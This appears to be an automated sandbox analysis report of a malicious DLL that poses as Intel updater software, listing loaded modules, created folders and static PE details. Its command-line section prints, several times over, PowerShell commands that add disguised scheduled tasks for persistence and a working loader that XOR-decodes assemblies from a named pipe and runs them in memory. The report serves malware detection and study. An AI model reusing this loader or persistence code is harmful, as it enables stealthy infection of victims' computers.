Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll

Source: IntelManagementuser.lnk.23.dr

LNK file: ..\..\..\..\..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\logs.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater\error.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\IntelProfileUpdater	Jump to behavior

Source: JkICQ13OOY.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: JkICQ13OOY.dll

Static file information: File size 11506176 > 1048576

Source: JkICQ13OOY.dll	Static PE information: Raw size of .managed is bigger than: 0x100000 < 0x2e8a00
Source: JkICQ13OOY.dll	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x709e00

Source: JkICQ13OOY.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: JkICQ13OOY.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: JkICQ13OOY.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: JkICQ13OOY.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: JkICQ13OOY.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: JkICQ13OOY.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: JkICQ13OOY.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: JkICQ13OOY.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: JkICQ13OOY.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: JkICQ13OOY.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: JkICQ13OOY.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: JkICQ13OOY.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: JkICQ13OOY.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"LXUACJGCHJQDEYDGSNQXYJQGFJMGQKRJPWRHKFILVEKMQAQLQIGQRGMOGMXGBBDBLKMWPJKULMBQPXWHUFCXYTKCBESBUWOKFPHBSEPSYYAUBJXTYXPNJDXVBPCECGSP\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"MKVJMXBCRWWOUVEMTDUWQIHXBQGAJWWVNHRKQRRWQFJJKQLQDUAMSCSMTRQMPIGQMRUXJCBJAWINPSYTEBWUSBXLEFTCFYAERPGJYGUJVRKAINIJYABRUTKDFRYTLNAF\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"LXUACJGCHJQDEYDGSNQXYJQGFJMGQKRJPWRHKFILVEKMQAQLQIGQRGMOGMXGBBDBLKMWPJKULMBQPXWHUFCXYTKCBESBUWOKFPHBSEPSYYAUBJXTYXPNJDXVBPCECGSP\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"MKVJMXBCRWWOUVEMTDUWQIHXBQGAJWWVNHRKQRRWQFJJKQLQDUAMSCSMTRQMPIGQMRUXJCBJAWINPSYTEBWUSBXLEFTCFYAERPGJYGUJVRKAINIJYABRUTKDFRYTLNAF\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"

Source: FSharp.Core.All.dll.31.dr

Static PE information: 0xB098E887 [Tue Nov 20 19:03:35 2063 UTC]

Source: JkICQ13OOY.dll	Static PE information: section name: .managed
Source: JkICQ13OOY.dll	Static PE information: section name: hydrated
Source: JkICQ13OOY.dll	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD322600BD pushad ; iretd	13_2_00007FFD322600C1
